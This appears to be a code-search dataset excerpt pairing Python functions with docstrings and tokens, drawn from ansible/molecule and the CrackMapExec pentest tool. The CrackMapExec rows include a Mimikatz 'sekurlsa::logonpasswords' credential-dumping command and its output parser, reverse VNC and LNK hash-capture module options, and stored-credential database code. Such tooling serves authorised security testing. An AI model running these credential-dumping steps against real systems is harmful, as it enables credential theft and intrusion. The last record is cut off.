partition
stringclasses
3 values
func_name
stringlengths
1
134
docstring
stringlengths
1
46.9k
path
stringlengths
4
223
original_string
stringlengths
75
104k
code
stringlengths
75
104k
docstring_tokens
listlengths
1
1.97k
repo
stringlengths
7
55
language
stringclasses
1 value
url
stringlengths
87
315
code_tokens
listlengths
19
28.4k
sha
stringlengths
40
40
train
VagrantClient.stdout_cm
Redirect the stdout to a log file.
molecule/provisioner/ansible/plugins/libraries/molecule_vagrant.py
def stdout_cm(self): """ Redirect the stdout to a log file. """ with open(self._get_stdout_log(), 'a+') as fh: msg = '### {} ###\n'.format(self._datetime) fh.write(msg) fh.flush() yield fh
def stdout_cm(self): """ Redirect the stdout to a log file. """ with open(self._get_stdout_log(), 'a+') as fh: msg = '### {} ###\n'.format(self._datetime) fh.write(msg) fh.flush() yield fh
[ "Redirect", "the", "stdout", "to", "a", "log", "file", "." ]
ansible/molecule
python
https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/provisioner/ansible/plugins/libraries/molecule_vagrant.py#L364-L371
[ "def", "stdout_cm", "(", "self", ")", ":", "with", "open", "(", "self", ".", "_get_stdout_log", "(", ")", ",", "'a+'", ")", "as", "fh", ":", "msg", "=", "'### {} ###\\n'", ".", "format", "(", "self", ".", "_datetime", ")", "fh", ".", "write", "(", ...
766dc35b0b0ce498cd5e3a62b40f828742d0d08c
train
VagrantClient.stderr_cm
Redirect the stderr to a log file.
molecule/provisioner/ansible/plugins/libraries/molecule_vagrant.py
def stderr_cm(self): """ Redirect the stderr to a log file. """ with open(self._get_stderr_log(), 'a+') as fh: msg = '### {} ###\n'.format(self._datetime) fh.write(msg) fh.flush() try: yield fh except Exception as e: ...
def stderr_cm(self): """ Redirect the stderr to a log file. """ with open(self._get_stderr_log(), 'a+') as fh: msg = '### {} ###\n'.format(self._datetime) fh.write(msg) fh.flush() try: yield fh except Exception as e: ...
[ "Redirect", "the", "stderr", "to", "a", "log", "file", "." ]
ansible/molecule
python
https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/provisioner/ansible/plugins/libraries/molecule_vagrant.py#L374-L387
[ "def", "stderr_cm", "(", "self", ")", ":", "with", "open", "(", "self", ".", "_get_stderr_log", "(", ")", ",", "'a+'", ")", "as", "fh", ":", "msg", "=", "'### {} ###\\n'", ".", "format", "(", "self", ".", "_datetime", ")", "fh", ".", "write", "(", ...
766dc35b0b0ce498cd5e3a62b40f828742d0d08c
train
Base.status
Collects the instances state and returns a list. .. important:: Molecule assumes all instances were created successfully by Ansible, otherwise Ansible would return an error on create. This may prove to be a bad assumption. However, configuring Molecule's drive...
molecule/driver/base.py
def status(self): """ Collects the instances state and returns a list. .. important:: Molecule assumes all instances were created successfully by Ansible, otherwise Ansible would return an error on create. This may prove to be a bad assumption. However, co...
def status(self): """ Collects the instances state and returns a list. .. important:: Molecule assumes all instances were created successfully by Ansible, otherwise Ansible would return an error on create. This may prove to be a bad assumption. However, co...
[ "Collects", "the", "instances", "state", "and", "returns", "a", "list", "." ]
ansible/molecule
python
https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/driver/base.py#L173-L204
[ "def", "status", "(", "self", ")", ":", "status_list", "=", "[", "]", "for", "platform", "in", "self", ".", "_config", ".", "platforms", ".", "instances", ":", "instance_name", "=", "platform", "[", "'name'", "]", "driver_name", "=", "self", ".", "name",...
766dc35b0b0ce498cd5e3a62b40f828742d0d08c
train
Scenario.prune
Prune the scenario ephemeral directory files and returns None. "safe files" will not be pruned, including the ansible configuration and inventory used by this scenario, the scenario state file, and files declared as "safe_files" in the ``driver`` configuration declared in ``molecule.yml...
molecule/scenario.py
def prune(self): """ Prune the scenario ephemeral directory files and returns None. "safe files" will not be pruned, including the ansible configuration and inventory used by this scenario, the scenario state file, and files declared as "safe_files" in the ``driver`` configurati...
def prune(self): """ Prune the scenario ephemeral directory files and returns None. "safe files" will not be pruned, including the ansible configuration and inventory used by this scenario, the scenario state file, and files declared as "safe_files" in the ``driver`` configurati...
[ "Prune", "the", "scenario", "ephemeral", "directory", "files", "and", "returns", "None", "." ]
ansible/molecule
python
https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/scenario.py#L98-L124
[ "def", "prune", "(", "self", ")", ":", "LOG", ".", "info", "(", "'Pruning extra files from scenario ephemeral directory'", ")", "safe_files", "=", "[", "self", ".", "config", ".", "provisioner", ".", "config_file", ",", "self", ".", "config", ".", "provisioner",...
766dc35b0b0ce498cd5e3a62b40f828742d0d08c
train
Scenario.sequence
Select the sequence based on scenario and subcommand of the provided scenario object and returns a list. :param scenario: A scenario object. :param skipped: An optional bool to include skipped scenarios. :return: list
molecule/scenario.py
def sequence(self): """ Select the sequence based on scenario and subcommand of the provided scenario object and returns a list. :param scenario: A scenario object. :param skipped: An optional bool to include skipped scenarios. :return: list """ s = scena...
def sequence(self): """ Select the sequence based on scenario and subcommand of the provided scenario object and returns a list. :param scenario: A scenario object. :param skipped: An optional bool to include skipped scenarios. :return: list """ s = scena...
[ "Select", "the", "sequence", "based", "on", "scenario", "and", "subcommand", "of", "the", "provided", "scenario", "object", "and", "returns", "a", "list", "." ]
ansible/molecule
python
https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/scenario.py#L201-L217
[ "def", "sequence", "(", "self", ")", ":", "s", "=", "scenarios", ".", "Scenarios", "(", "[", "self", ".", "config", "]", ")", "matrix", "=", "s", ".", "_get_matrix", "(", ")", "try", ":", "return", "matrix", "[", "self", ".", "name", "]", "[", "s...
766dc35b0b0ce498cd5e3a62b40f828742d0d08c
train
Scenario._setup
Prepare the scenario for Molecule and returns None. :return: None
molecule/scenario.py
def _setup(self): """ Prepare the scenario for Molecule and returns None. :return: None """ if not os.path.isdir(self.inventory_directory): os.makedirs(self.inventory_directory)
def _setup(self): """ Prepare the scenario for Molecule and returns None. :return: None """ if not os.path.isdir(self.inventory_directory): os.makedirs(self.inventory_directory)
[ "Prepare", "the", "scenario", "for", "Molecule", "and", "returns", "None", "." ]
ansible/molecule
python
https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/scenario.py#L219-L226
[ "def", "_setup", "(", "self", ")", ":", "if", "not", "os", ".", "path", ".", "isdir", "(", "self", ".", "inventory_directory", ")", ":", "os", ".", "makedirs", "(", "self", ".", "inventory_directory", ")" ]
766dc35b0b0ce498cd5e3a62b40f828742d0d08c
train
list
Lists status of instances.
molecule/command/list.py
def list(ctx, scenario_name, format): # pragma: no cover """ Lists status of instances. """ args = ctx.obj.get('args') subcommand = base._get_subcommand(__name__) command_args = { 'subcommand': subcommand, 'format': format, } statuses = [] s = scenarios.Scenarios( b...
def list(ctx, scenario_name, format): # pragma: no cover """ Lists status of instances. """ args = ctx.obj.get('args') subcommand = base._get_subcommand(__name__) command_args = { 'subcommand': subcommand, 'format': format, } statuses = [] s = scenarios.Scenarios( b...
[ "Lists", "status", "of", "instances", "." ]
ansible/molecule
python
https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/list.py#L100-L123
[ "def", "list", "(", "ctx", ",", "scenario_name", ",", "format", ")", ":", "# pragma: no cover", "args", "=", "ctx", ".", "obj", ".", "get", "(", "'args'", ")", "subcommand", "=", "base", ".", "_get_subcommand", "(", "__name__", ")", "command_args", "=", ...
766dc35b0b0ce498cd5e3a62b40f828742d0d08c
train
_print_tabulate_data
Shows the tabulate data on the screen and returns None. :param headers: A list of column headers. :param data: A list of tabular data to display. :returns: None
molecule/command/list.py
def _print_tabulate_data(headers, data, table_format): # pragma: no cover """ Shows the tabulate data on the screen and returns None. :param headers: A list of column headers. :param data: A list of tabular data to display. :returns: None """ print(tabulate.tabulate(data, headers, tablefm...
def _print_tabulate_data(headers, data, table_format): # pragma: no cover """ Shows the tabulate data on the screen and returns None. :param headers: A list of column headers. :param data: A list of tabular data to display. :returns: None """ print(tabulate.tabulate(data, headers, tablefm...
[ "Shows", "the", "tabulate", "data", "on", "the", "screen", "and", "returns", "None", "." ]
ansible/molecule
python
https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/list.py#L126-L134
[ "def", "_print_tabulate_data", "(", "headers", ",", "data", ",", "table_format", ")", ":", "# pragma: no cover", "print", "(", "tabulate", ".", "tabulate", "(", "data", ",", "headers", ",", "tablefmt", "=", "table_format", ")", ")" ]
766dc35b0b0ce498cd5e3a62b40f828742d0d08c
train
role
Initialize a new role for use with Molecule.
molecule/command/init/role.py
def role(ctx, dependency_name, driver_name, lint_name, provisioner_name, role_name, verifier_name, template): # pragma: no cover """ Initialize a new role for use with Molecule. """ command_args = { 'dependency_name': dependency_name, 'driver_name': driver_name, 'lint_name': li...
def role(ctx, dependency_name, driver_name, lint_name, provisioner_name, role_name, verifier_name, template): # pragma: no cover """ Initialize a new role for use with Molecule. """ command_args = { 'dependency_name': dependency_name, 'driver_name': driver_name, 'lint_name': li...
[ "Initialize", "a", "new", "role", "for", "use", "with", "Molecule", "." ]
ansible/molecule
python
https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/init/role.py#L133-L160
[ "def", "role", "(", "ctx", ",", "dependency_name", ",", "driver_name", ",", "lint_name", ",", "provisioner_name", ",", "role_name", ",", "verifier_name", ",", "template", ")", ":", "# pragma: no cover", "command_args", "=", "{", "'dependency_name'", ":", "dependen...
766dc35b0b0ce498cd5e3a62b40f828742d0d08c
train
Role.execute
Execute the actions necessary to perform a `molecule init role` and returns None. :return: None
molecule/command/init/role.py
def execute(self): """ Execute the actions necessary to perform a `molecule init role` and returns None. :return: None """ role_name = self._command_args['role_name'] role_directory = os.getcwd() msg = 'Initializing new role {}...'.format(role_name) ...
def execute(self): """ Execute the actions necessary to perform a `molecule init role` and returns None. :return: None """ role_name = self._command_args['role_name'] role_directory = os.getcwd() msg = 'Initializing new role {}...'.format(role_name) ...
[ "Execute", "the", "actions", "necessary", "to", "perform", "a", "molecule", "init", "role", "and", "returns", "None", "." ]
ansible/molecule
python
https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/init/role.py#L56-L93
[ "def", "execute", "(", "self", ")", ":", "role_name", "=", "self", ".", "_command_args", "[", "'role_name'", "]", "role_directory", "=", "os", ".", "getcwd", "(", ")", "msg", "=", "'Initializing new role {}...'", ".", "format", "(", "role_name", ")", "LOG", ...
766dc35b0b0ce498cd5e3a62b40f828742d0d08c
train
database.add_computer
Check if this host has already been added to the database, if not add it in.
cme/protocols/mssql/database.py
def add_computer(self, ip, hostname, domain, os, instances): """ Check if this host has already been added to the database, if not add it in. """ cur = self.conn.cursor() cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip]) results = cur.fetchall() if no...
def add_computer(self, ip, hostname, domain, os, instances): """ Check if this host has already been added to the database, if not add it in. """ cur = self.conn.cursor() cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip]) results = cur.fetchall() if no...
[ "Check", "if", "this", "host", "has", "already", "been", "added", "to", "the", "database", "if", "not", "add", "it", "in", "." ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/mssql/database.py#L35-L47
[ "def", "add_computer", "(", "self", ",", "ip", ",", "hostname", ",", "domain", ",", "os", ",", "instances", ")", ":", "cur", "=", "self", ".", "conn", ".", "cursor", "(", ")", "cur", ".", "execute", "(", "'SELECT * FROM computers WHERE ip LIKE ?'", ",", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
database.remove_credentials
Removes a credential ID from the database
cme/protocols/mssql/database.py
def remove_credentials(self, credIDs): """ Removes a credential ID from the database """ for credID in credIDs: cur = self.conn.cursor() cur.execute("DELETE FROM users WHERE id=?", [credID]) cur.close()
def remove_credentials(self, credIDs): """ Removes a credential ID from the database """ for credID in credIDs: cur = self.conn.cursor() cur.execute("DELETE FROM users WHERE id=?", [credID]) cur.close()
[ "Removes", "a", "credential", "ID", "from", "the", "database" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/mssql/database.py#L63-L70
[ "def", "remove_credentials", "(", "self", ",", "credIDs", ")", ":", "for", "credID", "in", "credIDs", ":", "cur", "=", "self", ".", "conn", ".", "cursor", "(", ")", "cur", ".", "execute", "(", "\"DELETE FROM users WHERE id=?\"", ",", "[", "credID", "]", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
URL URL for the download cradle
cme/modules/web_delivery.py
def options(self, context, module_options): ''' URL URL for the download cradle ''' if not 'URL' in module_options: context.log.error('URL option is required!') exit(1) self.url = module_options['URL']
def options(self, context, module_options): ''' URL URL for the download cradle ''' if not 'URL' in module_options: context.log.error('URL option is required!') exit(1) self.url = module_options['URL']
[ "URL", "URL", "for", "the", "download", "cradle" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/web_delivery.py#L18-L27
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "if", "not", "'URL'", "in", "module_options", ":", "context", ".", "log", ".", "error", "(", "'URL option is required!'", ")", "exit", "(", "1", ")", "self", ".", "url", "=",...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
SERVER IP of the SMB server NAME LNK file name CLEANUP Cleanup (choices: True or False)
cme/modules/slinky.py
def options(self, context, module_options): ''' SERVER IP of the SMB server NAME LNK file name CLEANUP Cleanup (choices: True or False) ''' self.cleanup = False if 'CLEANUP' in module_options: self.cleanup = bool(module_options[...
def options(self, context, module_options): ''' SERVER IP of the SMB server NAME LNK file name CLEANUP Cleanup (choices: True or False) ''' self.cleanup = False if 'CLEANUP' in module_options: self.cleanup = bool(module_options[...
[ "SERVER", "IP", "of", "the", "SMB", "server", "NAME", "LNK", "file", "name", "CLEANUP", "Cleanup", "(", "choices", ":", "True", "or", "False", ")" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/slinky.py#L18-L46
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "cleanup", "=", "False", "if", "'CLEANUP'", "in", "module_options", ":", "self", ".", "cleanup", "=", "bool", "(", "module_options", "[", "'CLEANUP'", "]", ")", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
cme/modules/mimikatz.py
def options(self, context, module_options): ''' COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords') ''' self.command = 'privilege::debug sekurlsa::logonpasswords exit' if module_options and 'COMMAND' in module_options: self.command = module_o...
def options(self, context, module_options): ''' COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords') ''' self.command = 'privilege::debug sekurlsa::logonpasswords exit' if module_options and 'COMMAND' in module_options: self.command = module_o...
[ "COMMAND", "Mimikatz", "command", "to", "execute", "(", "default", ":", "sekurlsa", "::", "logonpasswords", ")" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/mimikatz.py#L20-L28
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "command", "=", "'privilege::debug sekurlsa::logonpasswords exit'", "if", "module_options", "and", "'COMMAND'", "in", "module_options", ":", "self", ".", "command", "=", "...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.uniquify_tuples
uniquify mimikatz tuples based on the password cred format- (credType, domain, username, password, hostname, sid) Stolen from the Empire project.
cme/modules/mimikatz.py
def uniquify_tuples(self, tuples): """ uniquify mimikatz tuples based on the password cred format- (credType, domain, username, password, hostname, sid) Stolen from the Empire project. """ seen = set() return [item for item in tuples if "{}{}{}{}".format(item[0],...
def uniquify_tuples(self, tuples): """ uniquify mimikatz tuples based on the password cred format- (credType, domain, username, password, hostname, sid) Stolen from the Empire project. """ seen = set() return [item for item in tuples if "{}{}{}{}".format(item[0],...
[ "uniquify", "mimikatz", "tuples", "based", "on", "the", "password", "cred", "format", "-", "(", "credType", "domain", "username", "password", "hostname", "sid", ")" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/mimikatz.py#L48-L56
[ "def", "uniquify_tuples", "(", "self", ",", "tuples", ")", ":", "seen", "=", "set", "(", ")", "return", "[", "item", "for", "item", "in", "tuples", "if", "\"{}{}{}{}\"", ".", "format", "(", "item", "[", "0", "]", ",", "item", "[", "1", "]", ",", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.parse_mimikatz
Parse the output from Invoke-Mimikatz to return credential sets. This was directly stolen from the Empire project as well.
cme/modules/mimikatz.py
def parse_mimikatz(self, data): """ Parse the output from Invoke-Mimikatz to return credential sets. This was directly stolen from the Empire project as well. """ # cred format: # credType, domain, username, password, hostname, sid creds = [] # regexe...
def parse_mimikatz(self, data): """ Parse the output from Invoke-Mimikatz to return credential sets. This was directly stolen from the Empire project as well. """ # cred format: # credType, domain, username, password, hostname, sid creds = [] # regexe...
[ "Parse", "the", "output", "from", "Invoke", "-", "Mimikatz", "to", "return", "credential", "sets", "." ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/mimikatz.py#L58-L179
[ "def", "parse_mimikatz", "(", "self", ",", "data", ")", ":", "# cred format:", "# credType, domain, username, password, hostname, sid", "creds", "=", "[", "]", "# regexes for \"sekurlsa::logonpasswords\" Mimikatz output", "regexes", "=", "[", "\"(?s)(?<=msv :).*?(?=tspkg :)\"",...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
CONTYPE Specifies the VNC connection type, choices are: reverse, bind (default: reverse). PORT VNC Port (default: 5900) PASSWORD Specifies the connection password.
cme/modules/invoke_vnc.py
def options(self, context, module_options): ''' CONTYPE Specifies the VNC connection type, choices are: reverse, bind (default: reverse). PORT VNC Port (default: 5900) PASSWORD Specifies the connection password. ''' self.contype = 'reverse' self.port = 59...
def options(self, context, module_options): ''' CONTYPE Specifies the VNC connection type, choices are: reverse, bind (default: reverse). PORT VNC Port (default: 5900) PASSWORD Specifies the connection password. ''' self.contype = 'reverse' self.port = 59...
[ "CONTYPE", "Specifies", "the", "VNC", "connection", "type", "choices", "are", ":", "reverse", "bind", "(", "default", ":", "reverse", ")", ".", "PORT", "VNC", "Port", "(", "default", ":", "5900", ")", "PASSWORD", "Specifies", "the", "connection", "password",...
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/invoke_vnc.py#L15-L39
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "contype", "=", "'reverse'", "self", ".", "port", "=", "5900", "self", ".", "password", "=", "None", "if", "'PASSWORD'", "not", "in", "module_options", ":", "con...
333f1c4e06884e85b2776459963ef85d182aba8e
train
database.add_computer
Check if this host has already been added to the database, if not add it in.
cme/protocols/smb/database.py
def add_computer(self, ip, hostname, domain, os, dc=None): """ Check if this host has already been added to the database, if not add it in. """ domain = domain.split('.')[0].upper() cur = self.conn.cursor() cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip]) ...
def add_computer(self, ip, hostname, domain, os, dc=None): """ Check if this host has already been added to the database, if not add it in. """ domain = domain.split('.')[0].upper() cur = self.conn.cursor() cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip]) ...
[ "Check", "if", "this", "host", "has", "already", "been", "added", "to", "the", "database", "if", "not", "add", "it", "in", "." ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/database.py#L87-L108
[ "def", "add_computer", "(", "self", ",", "ip", ",", "hostname", ",", "domain", ",", "os", ",", "dc", "=", "None", ")", ":", "domain", "=", "domain", ".", "split", "(", "'.'", ")", "[", "0", "]", ".", "upper", "(", ")", "cur", "=", "self", ".", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
database.add_credential
Check if this credential has already been added to the database, if not add it in.
cme/protocols/smb/database.py
def add_credential(self, credtype, domain, username, password, groupid=None, pillaged_from=None): """ Check if this credential has already been added to the database, if not add it in. """ domain = domain.split('.')[0].upper() user_rowid = None cur = self.conn.cursor() ...
def add_credential(self, credtype, domain, username, password, groupid=None, pillaged_from=None): """ Check if this credential has already been added to the database, if not add it in. """ domain = domain.split('.')[0].upper() user_rowid = None cur = self.conn.cursor() ...
[ "Check", "if", "this", "credential", "has", "already", "been", "added", "to", "the", "database", "if", "not", "add", "it", "in", "." ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/database.py#L110-L147
[ "def", "add_credential", "(", "self", ",", "credtype", ",", "domain", ",", "username", ",", "password", ",", "groupid", "=", "None", ",", "pillaged_from", "=", "None", ")", ":", "domain", "=", "domain", ".", "split", "(", "'.'", ")", "[", "0", "]", "...
333f1c4e06884e85b2776459963ef85d182aba8e
train
database.is_user_valid
Check if this User ID is valid.
cme/protocols/smb/database.py
def is_user_valid(self, userID): """ Check if this User ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [userID]) results = cur.fetchall() cur.close() return len(results) > 0
def is_user_valid(self, userID): """ Check if this User ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [userID]) results = cur.fetchall() cur.close() return len(results) > 0
[ "Check", "if", "this", "User", "ID", "is", "valid", "." ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/database.py#L346-L354
[ "def", "is_user_valid", "(", "self", ",", "userID", ")", ":", "cur", "=", "self", ".", "conn", ".", "cursor", "(", ")", "cur", ".", "execute", "(", "'SELECT * FROM users WHERE id=? LIMIT 1'", ",", "[", "userID", "]", ")", "results", "=", "cur", ".", "fet...
333f1c4e06884e85b2776459963ef85d182aba8e
train
database.get_computers
Return hosts from the database.
cme/protocols/smb/database.py
def get_computers(self, filterTerm=None, domain=None): """ Return hosts from the database. """ cur = self.conn.cursor() # if we're returning a single host by ID if self.is_computer_valid(filterTerm): cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", ...
def get_computers(self, filterTerm=None, domain=None): """ Return hosts from the database. """ cur = self.conn.cursor() # if we're returning a single host by ID if self.is_computer_valid(filterTerm): cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", ...
[ "Return", "hosts", "from", "the", "database", "." ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/database.py#L384-L412
[ "def", "get_computers", "(", "self", ",", "filterTerm", "=", "None", ",", "domain", "=", "None", ")", ":", "cur", "=", "self", ".", "conn", ".", "cursor", "(", ")", "# if we're returning a single host by ID", "if", "self", ".", "is_computer_valid", "(", "fil...
333f1c4e06884e85b2776459963ef85d182aba8e
train
database.is_group_valid
Check if this group ID is valid.
cme/protocols/smb/database.py
def is_group_valid(self, groupID): """ Check if this group ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM groups WHERE id=? LIMIT 1', [groupID]) results = cur.fetchall() cur.close() logging.debug('is_group_valid(groupID={}) => {}'.fo...
def is_group_valid(self, groupID): """ Check if this group ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM groups WHERE id=? LIMIT 1', [groupID]) results = cur.fetchall() cur.close() logging.debug('is_group_valid(groupID={}) => {}'.fo...
[ "Check", "if", "this", "group", "ID", "is", "valid", "." ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/database.py#L417-L427
[ "def", "is_group_valid", "(", "self", ",", "groupID", ")", ":", "cur", "=", "self", ".", "conn", ".", "cursor", "(", ")", "cur", ".", "execute", "(", "'SELECT * FROM groups WHERE id=? LIMIT 1'", ",", "[", "groupID", "]", ")", "results", "=", "cur", ".", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
database.get_groups
Return groups from the database
cme/protocols/smb/database.py
def get_groups(self, filterTerm=None, groupName=None, groupDomain=None): """ Return groups from the database """ if groupDomain: groupDomain = groupDomain.split('.')[0].upper() cur = self.conn.cursor() if self.is_group_valid(filterTerm): cur.exec...
def get_groups(self, filterTerm=None, groupName=None, groupDomain=None): """ Return groups from the database """ if groupDomain: groupDomain = groupDomain.split('.')[0].upper() cur = self.conn.cursor() if self.is_group_valid(filterTerm): cur.exec...
[ "Return", "groups", "from", "the", "database" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/database.py#L429-L453
[ "def", "get_groups", "(", "self", ",", "filterTerm", "=", "None", ",", "groupName", "=", "None", ",", "groupDomain", "=", "None", ")", ":", "if", "groupDomain", ":", "groupDomain", "=", "groupDomain", ".", "split", "(", "'.'", ")", "[", "0", "]", ".", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
database.add_credential
Check if this credential has already been added to the database, if not add it in.
cme/protocols/http/database.py
def add_credential(self, url, username, password): """ Check if this credential has already been added to the database, if not add it in. """ cur = self.conn.cursor() cur.execute("SELECT * FROM credentials WHERE LOWER(username)=LOWER(?) AND password=?", [url, username, password]...
def add_credential(self, url, username, password): """ Check if this credential has already been added to the database, if not add it in. """ cur = self.conn.cursor() cur.execute("SELECT * FROM credentials WHERE LOWER(username)=LOWER(?) AND password=?", [url, username, password]...
[ "Check", "if", "this", "credential", "has", "already", "been", "added", "to", "the", "database", "if", "not", "add", "it", "in", "." ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/http/database.py#L24-L36
[ "def", "add_credential", "(", "self", ",", "url", ",", "username", ",", "password", ")", ":", "cur", "=", "self", ".", "conn", ".", "cursor", "(", ")", "cur", ".", "execute", "(", "\"SELECT * FROM credentials WHERE LOWER(username)=LOWER(?) AND password=?\"", ",", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
database.is_credential_valid
Check if this credential ID is valid.
cme/protocols/http/database.py
def is_credential_valid(self, credentialID): """ Check if this credential ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID]) results = cur.fetchall() cur.close() return len(results) > 0
def is_credential_valid(self, credentialID): """ Check if this credential ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID]) results = cur.fetchall() cur.close() return len(results) > 0
[ "Check", "if", "this", "credential", "ID", "is", "valid", "." ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/http/database.py#L49-L57
[ "def", "is_credential_valid", "(", "self", ",", "credentialID", ")", ":", "cur", "=", "self", ".", "conn", ".", "cursor", "(", ")", "cur", ".", "execute", "(", "'SELECT * FROM credentials WHERE id=? LIMIT 1'", ",", "[", "credentialID", "]", ")", "results", "="...
333f1c4e06884e85b2776459963ef85d182aba8e
train
database.is_host_valid
Check if this credential ID is valid.
cme/protocols/http/database.py
def is_host_valid(self, hostID): """ Check if this credential ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM host WHERE id=? LIMIT 1', [hostID]) results = cur.fetchall() cur.close() return len(results) > 0
def is_host_valid(self, hostID): """ Check if this credential ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM host WHERE id=? LIMIT 1', [hostID]) results = cur.fetchall() cur.close() return len(results) > 0
[ "Check", "if", "this", "credential", "ID", "is", "valid", "." ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/http/database.py#L59-L67
[ "def", "is_host_valid", "(", "self", ",", "hostID", ")", ":", "cur", "=", "self", ".", "conn", ".", "cursor", "(", ")", "cur", ".", "execute", "(", "'SELECT * FROM host WHERE id=? LIMIT 1'", ",", "[", "hostID", "]", ")", "results", "=", "cur", ".", "fetc...
333f1c4e06884e85b2776459963ef85d182aba8e
train
database.get_credentials
Return credentials from the database.
cme/protocols/http/database.py
def get_credentials(self, filterTerm=None): """ Return credentials from the database. """ cur = self.conn.cursor() # if we're returning a single credential by ID if self.is_credential_valid(filterTerm): cur.execute("SELECT * FROM credentials WHERE id=? LIMIT...
def get_credentials(self, filterTerm=None): """ Return credentials from the database. """ cur = self.conn.cursor() # if we're returning a single credential by ID if self.is_credential_valid(filterTerm): cur.execute("SELECT * FROM credentials WHERE id=? LIMIT...
[ "Return", "credentials", "from", "the", "database", "." ]
byt3bl33d3r/CrackMapExec
python
